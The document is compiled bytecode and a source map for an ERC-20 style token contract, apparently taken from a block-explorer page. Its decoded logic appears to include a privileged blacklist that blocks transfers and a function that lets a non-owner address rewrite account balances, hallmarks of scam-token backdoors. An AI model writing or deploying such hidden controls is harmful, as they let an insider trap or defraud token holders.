ffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119a5919061240e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f0576119ef612821565b5b604051908082528060200260200182016040528015611a1e5781602001602082028036833780820191505090505b5090503081600081518110611a3657611a356127f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad857600080fd5b505afa158015611aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b109190611e9e565b81600181518110611b2457611b236127f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e48565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bef959493929190612429565b600060405180830381600087803b158015611c0957600080fd5b505af1925050508015611c1a575060015b611c2357611c24565b5b60004790506000811115611c9c57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9a573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611cfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611694565b905092915050565b6000808284611d1591906124f3565b905083811015611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d519061234e565b60405180910390fd5b8091505092915050565b60008083118290611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da291906122cc565b60405180910390fd5b5060008385611dba9190612549565b9050809150509392505050565b600081359050611dd681612aa9565b92915050565b600081519050611deb81612aa9565b92915050565b60008083601f840112611e0757611e06612855565b5b8235905067ffffffffffffffff811115611e2457611e23612850565b5b602083019150836020820283011115611e4057611e3f61285a565b5b9250929050565b600081359050611e5681612ac0565b92915050565b600081359050611e6b81612ad7565b92915050565b600060208284031215611e8757611e86612864565b5b6000611e9584828501611dc7565b91505092915050565b600060208284031215611eb457611eb3612864565b5b6000611ec284828501611ddc565b91505092915050565b60008060408385031215611ee257611ee1612864565b5b6000611ef085828601611dc7565b9250506020611f0185828601611dc7565b9150509250929050565b600080600060608486031215611f2457611f23612864565b5b6000611f3286828701611dc7565b9350506020611f4386828701611dc7565b9250506040611f5486828701611e5c565b9150509250925092565b60008060408385031215611f7557611f74612864565b5b6000611f8385828601611dc7565b9250506020611f9485828601611e5c565b9150509250929050565b600080600060408486031215611fb757611fb6612864565b5b600084013567ffffffffffffffff811115611fd557611fd461285f565b5b611fe186828701611df1565b93509350506020611ff486828701611e47565b9150509250925092565b600061200a8383612025565b60208301905092915050565b61201f8161261a565b82525050565b61202e81612608565b82525050565b61203d81612608565b82525050565b600061204e826124ae565b61205881856124d1565b93506120638361249e565b8060005b8381101561209457815161207b8882611ffe565b9750612086836124c4565b925050600181019050612067565b5085935050505092915050565b6120aa8161262c565b82525050565b6120b98161266f565b82525050565b6120c881612681565b82525050565b60006120d9826124b9565b6120e381856124e2565b93506120f38185602086016126b7565b6120fc81612869565b840191505092915050565b60006121146023836124e2565b915061211f8261287a565b604082019050919050565b60006121376012836124e2565b9150612142826128c9565b602082019050919050565b600061215a6022836124e2565b9150612165826128f2565b604082019050919050565b600061217d601b836124e2565b915061218882612941565b602082019050919050565b60006121a06010836124e2565b91506121ab8261296a565b602082019050919050565b60006121c36021836124e2565b91506121ce82612993565b604082019050919050565b60006121e66020836124e2565b91506121f1826129e2565b602082019050919050565b60006122096025836124e2565b915061221482612a0b565b604082019050919050565b600061222c6024836124e2565b915061223782612a5a565b604082019050919050565b61224b81612658565b82525050565b61225a81612662565b82525050565b60006020820190506122756000830184612034565b92915050565b60006020820190506122906000830184612016565b92915050565b60006020820190506122ab60008301846120a1565b92915050565b60006020820190506122c660008301846120b0565b92915050565b600060208201905081810360008301526122e681846120ce565b905092915050565b6000602082019050818103600083015261230781612107565b9050919050565b600060208201905081810360008301526123278161212a565b9050919050565b600060208201905081810360008301526123478161214d565b9050919050565b6000602082019050818103600083015261236781612170565b9050919050565b6000602082019050818103600083015261238781612193565b9050919050565b600060208201905081810360008301526123a7816121b6565b9050919050565b600060208201905081810360008301526123c7816121d9565b9050919050565b600060208201905081810360008301526123e7816121fc565b9050919050565b600060208201905081810360008301526124078161221f565b9050919050565b60006020820190506124236000830184612242565b92915050565b600060a08201905061243e6000830188612242565b61244b60208301876120bf565b818103604083015261245d8186612043565b905061246c6060830185612034565b6124796080830184612242565b9695505050505050565b60006020820190506124986000830184612251565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124fe82612658565b915061250983612658565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561253e5761253d612765565b5b828201905092915050565b600061255482612658565b915061255f83612658565b92508261256f5761256e612794565b5b828204905092915050565b600061258582612658565b915061259083612658565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125c9576125c8612765565b5b828202905092915050565b60006125df82612658565b91506125ea83612658565b9250828210156125fd576125fc612765565b5b828203905092915050565b600061261382612638565b9050919050565b600061262582612638565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061267a82612693565b9050919050565b600061268c82612658565b9050919050565b600061269e826126a5565b9050919050565b60006126b082612638565b9050919050565b60005b838110156126d55780820151818401526020810190506126ba565b838111156126e4576000848401525b50505050565b6000600282049050600182168061270257607f821691505b60208210811415612716576127156127c3565b5b50919050565b600061272782612658565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561275a57612759612765565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ab281612608565b8114612abd57600080fd5b50565b612ac98161262c565b8114612ad457600080fd5b50565b612ae081612658565b8114612aeb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b238c1239627843395c58fc917e322f964df651d6de3cabb64c15b307ca112a864736f6c63430008070033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c816841b1161006f578063c816841b146104dd578063c860795214610508578063dd62ed3e14610533578063f0cd1dac14610570578063f2fde38b1461059b578063fafff96a146105c457610156565b80638da5cb5b146103cb57806395d89b41146103f6578063a62a41b114610421578063a9059cbb1461044c578063b2a3120b14610489578063c5d24189146104b257610156565b806327c8f8351161010857806327c8f83514610293578063313ce567146102be5780633345611e146102e95780633ecad2711461032657806370a082311461036357806382eefb43146103a057610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806323b872dd1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122cc565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f5e565b61067f565b6040516101ba9190612296565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122b1565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b604051610210919061240e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e71565b6106cd565b60405161024d9190612296565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f0b565b6106ed565b60405161028a9190612296565b60405180910390f35b34801561029f57600080fd5b506102a86107c7565b6040516102b59190612260565b60405180910390f35b3480156102ca57600080fd5b506102d36107eb565b6040516102e09190612483565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190611e71565b610802565b60405161031d9190612296565b60405180910390f35b34801561033257600080fd5b5061034d60048036038101906103489190611e71565b610822565b60405161035a9190612296565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190611e71565b610842565b604051610397919061240e565b60405180910390f35b3480156103ac57600080fd5b506103b561088b565b6040516103c2919061240e565b60405180910390f35b3480156103d757600080fd5b506103e0610891565b6040516103ed9190612260565b60405180910390f35b34801561040257600080fd5b5061040b6108ba565b60405161041891906122cc565b60405180910390f35b34801561042d57600080fd5b5061043661094c565b604051610443919061227b565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190611f5e565b610972565b6040516104809190612296565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190611f9e565b610991565b005b3480156104be57600080fd5b506104c7610acd565b6040516104d4919061240e565b60405180910390f35b3480156104e957600080fd5b506104f2610ad3565b6040516104ff9190612260565b60405180910390f35b34801561051457600080fd5b5061051d610af9565b60405161052a919061240e565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190611ecb565b610aff565b604051610567919061240e565b60405180910390f35b34801561057c57600080fd5b50610585610b86565b604051610592919061240e565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190611e71565b610b8c565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190611f5e565b610cde565b005b6060600180546105fc906126ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126ea565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e40565b8484610e48565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106fa848484611013565b506107bc84610707610e40565b6107b785604051806060016040528060288152602001612aef60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116949092919063ffffffff16565b610e48565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108c9906126ea565b80601f01602080910402602001604051908101604052809291908181526020018280546108f5906126ea565b80156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061098661097f610e40565b8484611013565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1f9061236e565b60405180910390fd5b60005b83839050811015610ac7578160086000868685818110610a4e57610a4d6127f2565b5b9050602002016020810190610a639190611e71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abf9061271c565b915050610a2b565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610b94610e40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c18906123ae565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c9061236e565b60405180910390fd5b610dc781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f890919063ffffffff16565b610def600c54610de160018561172090919063ffffffff16565b61176a90919063ffffffff16565b610df991906124f3565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf906123ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f9061232e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611006919061240e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b906123ce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb906122ee565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111789061230e565b60405180910390fd5b600f60149054906101000a900460ff16156111a8576111a18484846117e5565b905061168d565b60006111b330610842565b9050600f60149054906101000a900460ff1615801561121c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561122b5761122a816119b8565b5b61127d83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113635750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113705783905061158c565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113f3576113ec60646113de600b548861176a90919063ffffffff16565b61172090919063ffffffff16565b9050611471565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114705761146d606461145f600c548861176a90919063ffffffff16565b61172090919063ffffffff16565b90505b5b6000811115611575576114cc81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161156c919061240e565b60405180910390a35b6115888186611cbc90919063ffffffff16565b9150505b6115de81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167e919061240e565b60405180910390a36001925050505b9392505050565b60008383111582906116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d391906122cc565b60405180910390fd5b50600083856116eb91906125d4565b9050809150509392505050565b600080828461170791906124f3565b90508381101561171657600080fd5b8091505092915050565b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d64565b905092915050565b60008083141561177d57600090506117df565b6000828461178b919061257a565b905082848261179a9190612549565b146117da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d19061238e565b60405180910390fd5b809150505b92915050565b6000611870826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116949092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119a5919061240e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f0576119ef612821565b5b604051908082528060200260200182016040528015611a1e5781602001602082028036833780820191505090505b5090503081600081518110611a3657611a356127f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad857600080fd5b505afa158015611aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b109190611e9e565b81600181518110611b2457611b236127f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e48565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bef959493929190612429565b600060405180830381600087803b158015611c0957600080fd5b505af1925050508015611c1a575060015b611c2357611c24565b5b60004790506000811115611c9c57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9a573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611cfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611694565b905092915050565b6000808284611d1591906124f3565b905083811015611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d519061234e565b60405180910390fd5b8091505092915050565b60008083118290611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da291906122cc565b60405180910390fd5b5060008385611dba9190612549565b9050809150509392505050565b600081359050611dd681612aa9565b92915050565b600081519050611deb81612aa9565b92915050565b60008083601f840112611e0757611e06612855565b5b8235905067ffffffffffffffff811115611e2457611e23612850565b5b602083019150836020820283011115611e4057611e3f61285a565b5b9250929050565b600081359050611e5681612ac0565b92915050565b600081359050611e6b81612ad7565b92915050565b600060208284031215611e8757611e86612864565b5b6000611e9584828501611dc7565b91505092915050565b600060208284031215611eb457611eb3612864565b5b6000611ec284828501611ddc565b91505092915050565b60008060408385031215611ee257611ee1612864565b5b6000611ef085828601611dc7565b9250506020611f0185828601611dc7565b9150509250929050565b600080600060608486031215611f2457611f23612864565b5b6000611f3286828701611dc7565b9350506020611f4386828701611dc7565b9250506040611f5486828701611e5c565b9150509250925092565b60008060408385031215611f7557611f74612864565b5b6000611f8385828601611dc7565b9250506020611f9485828601611e5c565b9150509250929050565b600080600060408486031215611fb757611fb6612864565b5b600084013567ffffffffffffffff811115611fd557611fd461285f565b5b611fe186828701611df1565b93509350506020611ff486828701611e47565b9150509250925092565b600061200a8383612025565b60208301905092915050565b61201f8161261a565b82525050565b61202e81612608565b82525050565b61203d81612608565b82525050565b600061204e826124ae565b61205881856124d1565b93506120638361249e565b8060005b8381101561209457815161207b8882611ffe565b9750612086836124c4565b925050600181019050612067565b5085935050505092915050565b6120aa8161262c565b82525050565b6120b98161266f565b82525050565b6120c881612681565b82525050565b60006120d9826124b9565b6120e381856124e2565b93506120f38185602086016126b7565b6120fc81612869565b840191505092915050565b60006121146023836124e2565b915061211f8261287a565b604082019050919050565b60006121376012836124e2565b9150612142826128c9565b602082019050919050565b600061215a6022836124e2565b9150612165826128f2565b604082019050919050565b600061217d601b836124e2565b915061218882612941565b602082019050919050565b60006121a06010836124e2565b91506121ab8261296a565b602082019050919050565b60006121c36021836124e2565b91506121ce82612993565b604082019050919050565b60006121e66020836124e2565b91506121f1826129e2565b602082019050919050565b60006122096025836124e2565b915061221482612a0b565b604082019050919050565b600061222c6024836124e2565b915061223782612a5a565b604082019050919050565b61224b81612658565b82525050565b61225a81612662565b82525050565b60006020820190506122756000830184612034565b92915050565b60006020820190506122906000830184612016565b92915050565b60006020820190506122ab60008301846120a1565b92915050565b60006020820190506122c660008301846120b0565b92915050565b600060208201905081810360008301526122e681846120ce565b905092915050565b6000602082019050818103600083015261230781612107565b9050919050565b600060208201905081810360008301526123278161212a565b9050919050565b600060208201905081810360008301526123478161214d565b9050919050565b6000602082019050818103600083015261236781612170565b9050919050565b6000602082019050818103600083015261238781612193565b9050919050565b600060208201905081810360008301526123a7816121b6565b9050919050565b600060208201905081810360008301526123c7816121d9565b9050919050565b600060208201905081810360008301526123e7816121fc565b9050919050565b600060208201905081810360008301526124078161221f565b9050919050565b60006020820190506124236000830184612242565b92915050565b600060a08201905061243e6000830188612242565b61244b60208301876120bf565b818103604083015261245d8186612043565b905061246c6060830185612034565b6124796080830184612242565b9695505050505050565b60006020820190506124986000830184612251565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124fe82612658565b915061250983612658565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561253e5761253d612765565b5b828201905092915050565b600061255482612658565b915061255f83612658565b92508261256f5761256e612794565b5b828204905092915050565b600061258582612658565b915061259083612658565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125c9576125c8612765565b5b828202905092915050565b60006125df82612658565b91506125ea83612658565b9250828210156125fd576125fc612765565b5b828203905092915050565b600061261382612638565b9050919050565b600061262582612638565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061267a82612693565b9050919050565b600061268c82612658565b9050919050565b600061269e826126a5565b9050919050565b60006126b082612638565b9050919050565b60005b838110156126d55780820151818401526020810190506126ba565b838111156126e4576000848401525b50505050565b6000600282049050600182168061270257607f821691505b60208210811415612716576127156127c3565b5b50919050565b600061272782612658565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561275a57612759612765565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ab281612608565b8114612abd57600080fd5b50565b612ac98161262c565b8114612ad457600080fd5b50565b612ae081612658565b8114612aeb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b238c1239627843395c58fc917e322f964df651d6de3cabb64c15b307ca112a864736f6c63430008070033

Deployed Bytecode Sourcemap

3775:6786:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6222:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6885:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5117:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6499:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4828:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7609:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4300:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6408:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4719:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4776:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6607:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5008:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2910:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6313:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4259:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7434:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;